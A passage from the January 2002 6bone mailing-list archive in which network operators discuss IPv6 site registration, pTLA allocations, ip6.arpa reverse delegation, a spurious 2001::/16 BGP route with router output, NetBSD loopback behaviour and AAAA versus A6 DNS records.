  without making sure that the nameservers for the delegations are valid
  for that delegation. )

Kind regards,

--==--
Bruce.

Not speaking for the RIPE NCC at this point, but at the RIPE Meeting.





From 6bone-owner  Thu Jan 17 10:20:10 2002
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Subject: RE: Creating an ipv6-site object
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Thread-Topic: Creating an ipv6-site object
Thread-Index: AcGff6Mxeq1HkktsR+OU9sm7ibmupQAA+ziA
From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Bob Fink" <fink@es.net>, "Kevin Farnes" <kfarnes@qinetiq.com>
Cc: "6BONE List" <6bone@ISI.EDU>
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>> Kevin Farnes wrote:
>> The current thoughts between myself and the connection point I
>> have been talking to would be to use Static routing which keeps
>> life nice and simple for both parties.
> Bob Fink wrote:
> Well, even in this simple case BGP has uses, hence an ASN. Anyway,
> pick your upstream's ASN or a random private range ASN.

Can you have multiple ipv6-site objects with the same ASN in the
6bone database maintained by our friends at Viagenie?

From 6bone-owner  Thu Jan 17 10:55:29 2002
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Date: Thu, 17 Jan 2002 10:56:17 -0800
To: "Michel Py" <michel@arneill-py.sacramento.ca.us>
From: Bob Fink <fink@es.net>
Subject: RE: Creating an ipv6-site object
Cc: "6BONE List" <6bone@ISI.EDU>, registry@viagenie.qc.ca
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At 10:20 AM 1/17/2002 -0800, Michel Py wrote:
> >> Kevin Farnes wrote:
> >> The current thoughts between myself and the connection point I
> >> have been talking to would be to use Static routing which keeps
> >> life nice and simple for both parties.
> > Bob Fink wrote:
> > Well, even in this simple case BGP has uses, hence an ASN. Anyway,
> > pick your upstream's ASN or a random private range ASN.
>
>Can you have multiple ipv6-site objects with the same ASN in the
>6bone database maintained by our friends at Viagenie?

I honestly don't know. I've cc'd them here. It would make sense that they 
did to allow the same public asn use by multiple downstreams peering up to 
the pTLA/pNLA that allocated their address space and gave them the right to 
use their ASN.


Bob


From 6bone-owner  Thu Jan 17 11:06:15 2002
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Date: Thu, 17 Jan 2002 11:07:05 -0800
To: Janos Mohacsi <Janos.Mohacsi@dante.org.uk>, 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: pTLA request for T-NET - review closes 11 February 2002
Cc: <vagok@zeus.mad.hu>, tetenyi@helka.iif.hu,
        MARAY Tamas <maray@bagira.iit.bme.hu>
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Janos,

At 06:23 PM 1/17/2002 +0000, Janos Mohacsi wrote:
>Dear 6BONE participants,
>         I think t-net should not apply for 6BONE pTLA with AS number 
> AS1955. AS1955 is maintained by Hungarnet/NIIF. Do you have permission 
> from Istvan Tetenyi, or Miklos Nagy about using AS1955 for that purpose?

I queried them specifically about this in my pre-scan of their application, 
and their response was in the revised request that they did.


>By the way Hungarnet already have IPv6 subTLA.     Why don't you ask them 
>to provide you NLA or SLA?

If Hungarnet is using AS1955 for their subTLA, then T-NET will not be 
allowed to use it for their pTLA application will have to be denied unless 
they find a new public ASN to use.

I will have to hear from HUNGARNET on this.


Bob


From 6bone-owner  Thu Jan 17 13:04:46 2002
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Subject: Re: Contact point
From: Ben Winslow <rain@bluecherry.net>
To: 6bone@ISI.EDU
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On Thu, 2002-01-17 at 09:34, Paul Aitken wrote:
> Juan Pablo Herrera wrote:
>  >
>=20
> > Hello everybody.
> > I'm loocking for a contact point in argentina.
>=20
> http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/bycountry.html#AR ?
>=20
> --=20
> Paul Aitken
> IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX
>=20
The only problem here is that I've found a /lot/ of the whois
information (which is linked to for each site) to be out of date, at
least for the US sites.

I tried poking through this list for sites that I have good routing to
(I'm concerned about latency), and I've received bounced mails or no
replies...

Currently, I'm making due with two tunnels from automated providers
(Hurricane Electric and Freenet6/Viagenie)--I'm using the HE tunnel for
local addresses and most of the traffic, and the Freenet6 tunnel for a
few tunnels I'm delegating elsewhere as well as traffic to other
Freenet6/Viagenie hosts.  Unfortunately, I don't have a fantastic route
to either of these.  I looked into 6to4 tunneling, however I can't find
any 6to4 to 6bone gateways with halfway-decent routing, either.  (I'm
also not sure that I could get reverse DNS delegated to my site, but I
may as well ask that while I'm at it: Will reverse DNS be delegated to
6to4 hosts upon request?)

Can anyone offer any other suggestions?

--=20
Ben Winslow (rain@bluecherry.net) : When you are in it up to your
       System Administrator       : ears, keep your mouth shut. =20
   Bluecherry Internet Services   :=20
    http://www.bluecherry.net/    :=20
          (573) 592-0800          :=20

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From 6bone-owner  Thu Jan 17 14:39:38 2002
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Date: Thu, 17 Jan 2002 17:45:56 -0500
To: "Michel Py" <michel@arneill-py.sacramento.ca.us>, "Bob Fink" <fink@es.net>,
        "Kevin Farnes" <kfarnes@qinetiq.com>
From: Jocelyn Picard <Jocelyn.Picard@viagenie.qc.ca>
Subject: RE: Creating an ipv6-site object
Cc: "6BONE List" <6bone@ISI.EDU>, registry@viagenie.qc.ca
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At 10:20 AM 17/01/2002 -0800, Michel Py wrote:
>>> Kevin Farnes wrote:
>>> The current thoughts between myself and the connection point I
>>> have been talking to would be to use Static routing which keeps
>>> life nice and simple for both parties.
>> Bob Fink wrote:
>> Well, even in this simple case BGP has uses, hence an ASN. Anyway,
>> pick your upstream's ASN or a random private range ASN.
>
>Can you have multiple ipv6-site objects with the same ASN in the
>6bone database maintained by our friends at Viagenie?

Hello,
        yes you can.   Lot of site routed using a static route
use their upstream's ASN in 6bone database.

Jocelyn
ps: David Kessens is maintaining the database, we are only maintaining the web interface!



From 6bone-owner  Thu Jan 17 20:16:07 2002
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	Thu, 17 Jan 2002 20:21:52 +0700 (ICT)
From: Robert Elz <kre@munnari.OZ.AU>
To: Nick Sayer <nsayer@quack.kfu.com>
cc: Edward Lewis <lewis@tislabs.com>, 6BONE List <6bone@ISI.EDU>
Subject: Re: Question on address configuration 
In-Reply-To: <3C4598AE.9040700@quack.kfu.com> 
References: <3C4598AE.9040700@quack.kfu.com>  <v03130301b86356715630@[199.171.39.21]> <C2A256696D17E44C9ADC95A77FE95997048803B5@red-msg-05.redmond.corp.microsof t.com> <C2A256696D17E44C9ADC95A77FE95997048803B5@red-msg-05.redmond.corp.microsof t.com> <5876.1011018150@brandenburg.cs.mu.OZ.AU> 
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    Date:        Wed, 16 Jan 2002 07:13:50 -0800
    From:        Nick Sayer <nsayer@quack.kfu.com>
    Message-ID:  <3C4598AE.9040700@quack.kfu.com>

  | Everything you said is true, but I would add the small postscript that 
  | in 99% of the cases where you would find it truly desirable to set up a 
  | well known address,

I wasn't really talking about well known addresses necessarily, just
addresses where I choose the suffix, rather than the system picking its
own.

  | you would be better off making that address 
  | site-local rather than based on the (routable) prefix.

Site local, global, it makes no difference.  The prefix still comes
from the router (I don't want to configure my subnet number any more
than I do my ISP provided prefix - those the node should dynamically learn).

  | Your arguments 
  | about an SMTP server's DNS TTL can be made about any DNS records -- if 
  | the TTLs are causing you heartburn you should lower them.

Of course.   But lowering them affects cache effectiveness, and since
the address is mostly stable, there's no need to do that.   If there's
to be a planned change, then sure, I'll reduce the TTL.   But for an
unexpected change, it is far easier just to keep the same address as I
had before.  That way the TTL can remain large enough to be sensible
most of the time.   Otherwise I'd have to keep it at around 5 or 10
minutes - because predicting when an ethernet card (or whole system) will
die, and need to be replaced with no warning, is beyond my abilities.

  | People 
  | typically want to configure manual addresses so that they don't have to 
  | keep rewriting resolv.conf files (or equiv).

Please stop deciding you know why I want to do what I want to do, and
then providing an alternate means to achieve that.   That's not a very
useful method of discussion.

kre


From 6bone-owner  Thu Jan 17 21:04:44 2002
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Date: Thu, 17 Jan 2002 21:05:40 -0800
From: Bill Manning <bmanning@ISI.EDU>
To: Bruce Campbell <bruce_campbell@ripe.net>
Cc: 6bone@ISI.EDU
Subject: Re: Please make 3ffe::/16 reverse-delegations under ip6.arpa
Message-ID: <20020118050540.GB35804@zed.isi.edu>
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 I regularly walk the ip6.int tree and have started to do the same
for ip6.arpa.




On Thu, Jan 17, 2002 at 06:35:00PM +0100, Bruce Campbell wrote:
> 
> ( Resent from the correct subscribed address )
> 
> On Thu, 17 Jan 2002, Pekka Savola wrote:
> 
> > The only thing RFC 3152 basically says is that delegations from ip6.int
> > should be moved under ip6.arpa.
> 
> Would people find the following useful?:
> 
> 	A repetitive walk through the ip6.int tree, and checking the
> 	listed nameservers for the matching ip6.arpa entry.
> 
> This would essentially build up a list of ip6.int delegations that are
> ready to be delegated under ip6.arpa, without creating a lame ip6.arpa
> entry.
> 
> A little bit more work will be able to send auto/manual notifications to
> the parent delegations when such a condition is met.
> 
> ( Personally, I don't think any entity should blindly delegate anything
>   without making sure that the nameservers for the delegations are valid
>   for that delegation. )
> 
> Kind regards,
> 
> --==--
> Bruce.
> 
> Not speaking for the RIPE NCC at this point, but at the RIPE Meeting.
> 
> 
> 

From 6bone-owner  Thu Jan 17 21:58:57 2002
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From: Robert Elz <kre@munnari.OZ.AU>
To: Russell King <rmk@arm.linux.org.uk>
cc: Pekka Savola <pekkas@netcore.fi>, 6bone@ISI.EDU
Subject: Re: Please make 3ffe::/16 reverse-delegations under ip6.arpa 
In-Reply-To: <20020117153936.C12731@flint.arm.linux.org.uk> 
References: <20020117153936.C12731@flint.arm.linux.org.uk>  <20020117133926.B12731@flint.arm.linux.org.uk> <Pine.LNX.4.33.0201171611150.27889-100000@netcore.fi> 
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    Date:        Thu, 17 Jan 2002 15:39:37 +0000
    From:        Russell King <rmk@arm.linux.org.uk>
    Message-ID:  <20020117153936.C12731@flint.arm.linux.org.uk>

  | RFC2874 defines the ip6.arpa to use bitlabels, which appear to be distinctly
  | different from the nibble-based represenation.

No it doesn't.   2874 says that the bitlabels for reverse lookups go in
ip6.arpa.   That's a different thing entirely from claiming that ip6.arpa
is restricted to bit labels.

kre


From 6bone-owner  Thu Jan 17 23:39:17 2002
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Date: Fri, 18 Jan 2002 08:38:55 +0100
From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
To: itojun@iijlab.net
Cc: 6bone@ISI.EDU
Subject: Re: bogus route: 2001::/16
Message-ID: <20020118073855.GB604@rvdp.org>
References: <13552.1011234739@itojun.org>
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On Thu, Jan 17, 2002 at 11:32:19 +0900, itojun@iijlab.net wrote:

> 	we are seeing a bogus route, namely 2001::/16, advertised from
> 	AS 1003.  please stop it.  thanks.

It's 1103 and this is us, surfnet. I contacted Itojun offline because
we are not announcing the prefix to 3274. We also do not see 2001::/16
in our routing table. We don't see the route, Itojun still does. Could
the other ASes in the path below have a check? I suspect it is a buggy
BGP implementation somewhere which is holding the route.

	rvdp

> itojun
> 
> 
> bgpd@otm6-gate1# sh ipv6 bgp 2001::/16
> BGP routing table entry for 2001::/16
> Paths: (2 available, best #2, table Default-IP-Routing-Table)
>   Advertised to non peer-group peers:
>   2001:200:0:1800::9c4:0 2001:200:0:1800::12a9:1 2001:200:0:1800::2513:0 2001:200:0:1800::2516:1 2001:200:0:1800::2518:1 2001:200:0:1800::2527:1 2001:200:0:1800::4697:1 2001:200:0:1800::4716:1 2001:200:0:1800::4725:1 2001:200:0:1800::6461:1 2001:200:0:1800::7514:1 2001:200:0:1800::9600:1 2001:200:0:1800:0:1:13:0 2001:200:0:1800:0:1:7522:0 2001:200:0:1800:200:f8ff:fe01:6c53 2001:200:0:1800:2e0:b0ff:fe2d:1f01 2001:240:100:ff::1 2001:240:100:ff::2
>   2500 4691 8002 6726 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103
>     2001:200:0:1800::9c4:0 from 2001:200:0:1800::9c4:0 (203.178.140.203)
>     (fe80::9c4:0)
>       Origin incomplete, localpref 100, valid, external
>       Last update: Thu Jan 17 08:40:26 2002
> 
>   4691 8002 6726 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103
>     2001:200:0:1800::4691:1 from 2001:200:0:1800::4691:1 (203.181.69.181)
>       Origin incomplete, metric 3, localpref 100, valid, external, best
>       Last update: Thu Jan 17 08:40:16 2002

From 6bone-owner  Fri Jan 18 00:02:06 2002
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From: Arun Mahabier <arun.mahabier@cmg.nl>
To: "'Bob Fink'" <fink@es.net>, 6BONE List <6bone@ISI.EDU>
Cc: Bartosz Gajda <gajda@man.poznan.pl>
Subject: RE: 6bone pTLA 3FFE:8320::/28 allocated to POZMAN 
Date: Fri, 18 Jan 2002 09:00:21 +0100
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I would like to stop receiving e-mail from this newsgroup.
who can telle me how te do this.


Met vriendelijke groeten,
 
Arun Mahabier 
CMG Trade, Transport & Industry B.V. 
Divisie Infrastructure & Networking Consultancy Industry 
Kralingseweg 241-249 
Postbus 8566 
3009 AN  Rotterdam 

Telefoon CMG:  (+31) 010 - 253 75 96
Fax CMG:         (+31) 010 - 253 70 61 
E-mail: arun.mahabier@cmg.nl 

-----Original Message-----
From: Bob Fink [mailto:fink@es.net]
Sent: donderdag 17 januari 2002 17:03
To: 6BONE List
Cc: Bartosz Gajda
Subject: 6bone pTLA 3FFE:8320::/28 allocated to POZMAN 


POZMAN has been allocated pTLA 3FFE:8320::/28 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?POZMAN>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
either bmanning@isi.edu or hostmaster@ep.net.]


Thanks,

Bob

From 6bone-owner  Fri Jan 18 00:50:52 2002
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Date: Thu, 17 Jan 2002 22:49:59 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
cc: itojun@iijlab.net, <6bone@ISI.EDU>
Subject: Re: bogus route: 2001::/16
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On Fri, 18 Jan 2002, Ronald van der Pol wrote:

> Date: Fri, 18 Jan 2002 08:38:55 +0100
> From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
> To: itojun@iijlab.net
> Cc: 6bone@ISI.EDU
> Subject: Re: bogus route: 2001::/16
>
> On Thu, Jan 17, 2002 at 11:32:19 +0900, itojun@iijlab.net wrote:
>
> > 	we are seeing a bogus route, namely 2001::/16, advertised from
> > 	AS 1003.  please stop it.  thanks.
>
> It's 1103 and this is us, surfnet. I contacted Itojun offline because
> we are not announcing the prefix to 3274. We also do not see 2001::/16
> in our routing table. We don't see the route, Itojun still does. Could
> the other ASes in the path below have a check? I suspect it is a buggy
> BGP implementation somewhere which is holding the route.


We do not see 2001::/16 in our routing tables here at LavaNet, ASN 6435.


> > bgpd@otm6-gate1# sh ipv6 bgp 2001::/16
> > BGP routing table entry for 2001::/16
> > Paths: (2 available, best #2, table Default-IP-Routing-Table)
> >   Advertised to non peer-group peers:
> >   2001:200:0:1800::9c4:0 2001:200:0:1800::12a9:1 2001:200:0:1800::2513:0 2001:200:0:1800::2516:1 2001:200:0:1800::2518:1 2001:200:0:1800::2527:1 2001:200:0:1800::4697:1 2001:200:0:1800::4716:1 2001:200:0:1800::4725:1 2001:200:0:1800::6461:1 2001:200:0:1800::7514:1 2001:200:0:1800::9600:1 2001:200:0:1800:0:1:13:0 2001:200:0:1800:0:1:7522:0 2001:200:0:1800:200:f8ff:fe01:6c53 2001:200:0:1800:2e0:b0ff:fe2d:1f01 2001:240:100:ff::1 2001:240:100:ff::2
> >   2500 4691 8002 6726 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103
> >     2001:200:0:1800::9c4:0 from 2001:200:0:1800::9c4:0 (203.178.140.203)
> >     (fe80::9c4:0)
> >       Origin incomplete, localpref 100, valid, external
> >       Last update: Thu Jan 17 08:40:26 2002
> >
> >   4691 8002 6726 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103
> >     2001:200:0:1800::4691:1 from 2001:200:0:1800::4691:1 (203.181.69.181)
> >       Origin incomplete, metric 3, localpref 100, valid, external, best
> >       Last update: Thu Jan 17 08:40:16 2002


From 6bone-owner  Fri Jan 18 07:38:06 2002
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Date: Fri, 18 Jan 2002 16:38:54 +0100
From: Pim van Pelt <pim@ipng.nl>
To: 6bone@ISI.EDU
Subject: [pim@ipng.nl: NetBSD kame - strange behavior]
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Hi 6bone folk,

It has come to my attention that NetBSD (at least 1.5-1.5.2) have some
peculiarity in the KAME stack for IPv6 regarding linklocal on the loopback
interface. Let us take a NetBSD box:

$ uname -a
NetBSD biscuit 1.5 NetBSD 1.5 (PEERING) #1

and an OpenBSD box:
$ uname -a
OpenBSD ghoul 3.0 GHOUL#2 i386

Regarding the NetBSD one, look at its lo0 device:
[NetBSD 1.5] $ ifconfig lo0
lo0: flags=8009<UP,LOOPBACK,MULTICAST> mtu 33228
        inet 127.0.0.1 netmask 0xff000000
        inet6 fe80::1%lo0 prefixlen 64 scopeid 0x4
        inet6 ::1 prefixlen 128

and conclude that fe80::1 is the linklocal address for lo0. Pinging this address 
works, obviously:
[NetBSD 1.5] $ ping6 -c 3 fe80::1%lo0
PING6(56=40+8+8 bytes) fe80::1%lo0 --> fe80::1%lo0
16 bytes from fe80::1%lo0, icmp_seq=0 hlim=64 time=0.654 ms
16 bytes from fe80::1%lo0, icmp_seq=1 hlim=64 time=1.581 ms
16 bytes from fe80::1%lo0, icmp_seq=2 hlim=64 time=0.679 ms

--- fe80::1%lo0 ping6 statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max/std-dev = 0.654/0.971/1.581/0.431 ms

However, NetBSD (as opposed to FreeBSD and OpenBSD) listens
to any fe80::/10 address on lo0. Look:
[NetBSD 1.5] $ ping6 -c 3 fe80::dead:babe:c0ff:ee%lo0
PING6(56=40+8+8 bytes) fe80::1%lo0 --> fe80::dead:babe:c0ff:ee%lo0
16 bytes from fe80::dead:babe:c0ff:ee%lo0, icmp_seq=0 hlim=64 time=0.732 ms
16 bytes from fe80::dead:babe:c0ff:ee%lo0, icmp_seq=1 hlim=64 time=1.524 ms
16 bytes from fe80::dead:babe:c0ff:ee%lo0, icmp_seq=2 hlim=64 time=0.781 ms

--- fe80::dead:babe:c0ff:ee%lo0 ping6 statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max/std-dev = 0.732/1.012/1.524/0.362 ms

My coffee bringing dead babe is alive! This results in a somewhat logical
observation that:
[NetBSD 1.5] $ ping6 ff02::1%gif53
PING6(56=40+8+8 bytes) fe80::210:4bff:fe09:1b16%gif53 --> ff02::1%gif53
16 bytes from fe80::210:4bff:fe09:1b16%lo0, icmp_seq=0 hlim=64 time=1.36 ms
16 bytes from fe80::206:5bff:fe11:1c38%gif53, icmp_seq=0 hlim=64 time=23.051 ms(DUP!)

See that the first reply (the localhost) comes from lo0!

For reference (you may check this) OpenBSD and FreeBSD, both, reply from 
the GIF interface and not lo0:
[OpenBSD 3.0] $ ping6 ff02::1%gif1
PING6(56=40+8+8 bytes) fe80::260:8ff:fe46:4b3f%gif1 --> ff02::1%gif1
16 bytes from fe80::260:8ff:fe46:4b3f%gif1, icmp_seq=0 hlim=64 time=0.948 ms
16 bytes from fe80::250:4ff:fe4e:222d%gif1, icmp_seq=0 hlim=64 time=33.468 ms(DUP!)

so that pinging an unconfigured address at lo0 does not work on on f/oBSD:
[OpenBSD 3.0] $ ping6 -c 3 fe80::dead:babe:c0ff:ee%lo0
PING6(56=40+8+8 bytes) fe80::1%lo0 --> fe80::dead:babe:c0ff:ee%lo0
--- fe80::dead:babe:c0ff:ee%lo0 ping6 statistics ---
3 packets transmitted, 0 packets received, 100% packet loss

In short (glad you made it this far :), why does NetBSD do this ?

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Fri Jan 18 08:23:34 2002
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From: Michael Kjorling <michael@kjorling.com>
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To: 6bone <6bone@ISI.EDU>
Subject: AAAA, A6, or both?
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

First of all, if this is off topic for this list I apologize in
advance and do not want anyone to feel obligated to read this.

It seems like I am (finally) getting hooked up to the 6bone and
getting some public address space, so suddenly another issue becomes
more critical:  what DNS record type to use for forward mapping. There
are AAAA and A6, and as far as I gather a lot of confusion as to which
should be used (not to mention reverse mapping, but at least there
we're only talking about one record *type*). So, my question is, which
should I use: A6, AAAA, or both? I don't have many machines for the
moment so the maintenance burden of the AAAA approach is pretty much
nada, and I would like to be able to serve content over IPv6 to as
many as possible.

Could anyone please advise me as to which approach I should take?
Every time I read up on this I only get more confused.

Thanks a lot in advance,


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

"There is something to be said about not trying to be glamorous
and popular and cool. Just be real -- and life will be real."
(Joyce Sequichie Hifler, September 13 2001, www.hifler.com)

-----BEGIN PGP SIGNATURE-----
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From 6bone-owner  Fri Jan 18 09:05:30 2002
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From: Jan Oravec <wsx@wsx6.net>
To: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
Cc: 6bone@ISI.EDU
Subject: Re: bogus route: 2001::/16
Message-ID: <20020118180623.A77987@ipv6.isternet.sk>
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References: <13552.1011234739@itojun.org> <20020118073855.GB604@rvdp.org>
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> It's 1103 and this is us, surfnet. I contacted Itojun offline because
> we are not announcing the prefix to 3274. We also do not see 2001::/16
> in our routing table. We don't see the route, Itojun still does. Could
> the other ASes in the path below have a check? I suspect it is a buggy
> BGP implementation somewhere which is holding the route.

We see 2001::/16, someone has buggy BGP implementation which creates such
"long paths", we can see a lot of them.

SKBYS-0000> sh bgp 2001::/16
BGP routing table entry for 2001::/16
Paths: (3 available, best #2, table Default-IP-Routing-Table)
  Advertised to non peer-group peers:
  2001:658:0:1::1 3ffe:80e8:1:3::2 3ffe:80ef:1:: 3ffe:80ef:100:: 3ffe:80ef:800:: 3ffe:80ef:900::
  5594 2200 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103, (Received from a RR-client)
    3ffe:80e1:8000:10::2 from 3ffe:80ef:1:: (195.168.1.69)
      Origin incomplete, localpref 100, valid, internal
      Last update: Fri Jan 18 13:35:32 2002

  6830 8733 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103, (Received from a RR-client)
    2001:730:3::1:e from 3ffe:80ef:300:: (62.140.29.9)
      Origin incomplete, localpref 100, valid, internal, best
      Last update: Fri Jan 18 12:59:03 2002

  6830 8733 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103, (Received from a RR-client)
    2001:730:3::1:e from 3ffe:80ef:900:: (62.140.29.9)
      Origin incomplete, localpref 100, valid, internal
      Originator: 62.140.29.9, Cluster list: 62.89.127.130 
      Last update: Fri Jan 18 12:59:00 2002

These announcements of these long paths are stable (actually 4 hours up).
We peer with 2611 and they are announcing us much different ASPATH for
2001::/16. If we receive different ASPATH from 5594 going thru 2611, it
means that something was corrupted on 5594, 2200 or 2611.

These long ASPATHs are very common on 6bone, it seems that some popular
implementation of BGP is broken. They are commonly appearing when prefix is
being removed from routing tables and may appear if implementation of BGP
has corrupted ASPATH loop-check.

Actually I am implementing BGP+IGP daemon, because except zebra there is no
decent routing daemon able to do very advanced routing we need for project.
We are now using slightly modified zebra, but it has still enough bugs.

Best Regards,

-- 
Jan Oravec
project coordinator
XS26 - 'Access to IPv6'  
jan.oravec@xs26.net

From 6bone-owner  Fri Jan 18 10:09:05 2002
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Subject: RE: bogus route: 2001::/16
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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>> itojun@iijlab.net wrote:
>> we are seeing a bogus route, namely 2001::/16, advertised from
>> AS 1003.  please stop it.  thanks.
> Ronald van der Pol wrote:
> It's 1103 and this is us, surfnet. I contacted Itojun offline
> because we are not announcing the prefix to 3274. We also do not
> see 2001::/16 in our routing table. We don't see the route, Itojun
> still does. Could the other ASes in the path below have a check?
> I suspect it is a buggy BGP implementation somewhere which is
> holding the route.

$0.02 from my side outside the path:

cisco3640#sh bgp ipv6 2001::/16
20834 6830 8733 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 7521 7521 7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103

I think that the problem is within AS 8733 or AS 6774.

Note: I see some other prefixes out of whack, namely:

2001:280::/35
2001:738::/35
3FFE:1900::/24
3FFE:2F00::/24
3FFE:3400::/24
3FFE:8060::/28
3FFE:80D0::/28

Might help to narrow it down.

Michel.


*> 2001:280::/35
----------------
3FFE:B00:C18::8C 10566 3265 6939 5609 6830 15589 1275 680 5539 4589 8733 5511 4697 3425 293 109 22 65513 17715 3263 1654 3274 1103 1849 3320 2549 513 ?

3FFE:8270:0:1::40 20834 10566 3265 6939 5609 6830 15589 1275 680 5539 4589 8733 5511 4697 3425 293 109 22 65513 17715 3263 1654 3274 1103 1849 3320 2549 513 ?

*> 2001:738::/35
----------------
3FFE:B00:C18::8C 10566 5594 5378 1752 5539 8319 1275 3265 6939 8002 8664 15694 8627 790 3274 1103 2611 5511 2500 4697 3425 293 6175 6726 9044 513 20834 i

*> 3FFE:1900::/24
-----------------
3FFE:B00:C18::8C  10566 6175 10318 33 6939 2549 3274 1103 766 278 8002 6726 20834 8664 59650 59650 ?

*> 3FFE:2F00::/24
-----------------
3FFE:B00:C18::8C 10566 3265 7521 4697 14277 6435 109 15589 1275 20834 2549 3274 1654 8954 33 17715 3263 1103 2611 6774 8733 5511 2497 6939 145 12199 10318 6175 237 ?

*> 3FFE:3400::/24
-----------------
3FFE:8270:0:1::40 20834 3274 6175 10318 12199 237 3748 9270 2200 3425 293 1275 15589 5609 6939 14277 209 517 8954 10566 5594 559 1122 5539 6726 8664 2020 7777 ?

*> 3FFE:8060::/28
-----------------
3FFE:8270:0:1::40 20834 3274 6175 10318 33 3265 513 2549 5408 2603 1275 15589 10566 17715 109 6939 5424 i


*> 3FFE:80D0::/28
-----------------
3FFE:B00:C18::8C 10566 5594 6726 33 2497 4697 3425 293 5609 8954 1200 3265 1275 2607 2852 3263 1103 1849 3320 2549 3274 8319 3561 145 12199 237 i

3FFE:8270:0:1::40 20834 10566 5594 6726 33 2497 4697 3425 293 5609 8954 1200 3265 1275 2607 2852 3263 1103 1849 3320 2549 3274 8319 3561 145 12199 237 i


From 6bone-owner  Fri Jan 18 11:08:35 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Michael Kjorling <michael@kjorling.com>
Cc: 6bone <6bone@ISI.EDU>
Subject: Re: AAAA, A6, or both?
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| First of all, if this is off topic for this list I apologize in
| advance and do not want anyone to feel obligated to read this.
It's on topic, and perhaps more than you'd think.

| Could anyone please advise me as to which approach I should take?
| Every time I read up on this I only get more confused.
You should use AAAA and disregard anything you ever read about A6.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

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From: "Matteo Tescione" <wizard@italiansky.com>
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If it can help I see on my side:

Francisco#sh bgp ipv6 2001::/16
BGP routing table entry for 2001::/16, version 4905
Paths: (2 available, best #2)
  20834 6830 8733 2611 6774 4589 680 1275 762 6175 6435 109 1251 3265 =
7521 7521
7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103
    3FFE:8270:0:1::22 from 3FFE:8270:0:1::22 (80.71.0.50)
      Origin incomplete, localpref 100, valid, external
  1752 8627 4589 6774 8733 6830 6726 1275 762 6175 6435 109 1251 3265 =
7521 7521
7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 1103
    2001:618:400::A023:EB02 from 2001:618:400::A023:EB02 (193.113.58.80)
      Origin incomplete, localpref 100, valid, external, best

Matteo

------=_NextPart_000_00A7_01C1A067.1FDAC070
Content-Type: text/html;
	charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2712.300" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>If it can help I see on my =
side:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Francisco#sh bgp ipv6 2001::/16<BR>BGP =
routing=20
table entry for 2001::/16, version 4905<BR>Paths: (2 available, best=20
#2)<BR>&nbsp; 20834 6830 8733 2611 6774 4589 680 1275 762 6175 6435 109 =
1251=20
3265 7521 7521<BR>7521 7521 4697 3425 293 4554 8954 10566 5408 2549 3274 =

1103<BR>&nbsp;&nbsp;&nbsp; 3FFE:8270:0:1::22 from 3FFE:8270:0:1::22=20
(80.71.0.50)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Origin incomplete, =
localpref 100,=20
valid, external<BR>&nbsp; 1752 8627 4589 6774 8733 6830 6726 1275 762 =
6175 6435=20
109 1251 3265 7521 7521<BR>7521 7521 4697 3425 293 4554 8954 10566 5408 =
2549=20
3274 1103<BR>&nbsp;&nbsp;&nbsp; 2001:618:400::A023:EB02 from=20
2001:618:400::A023:EB02 =
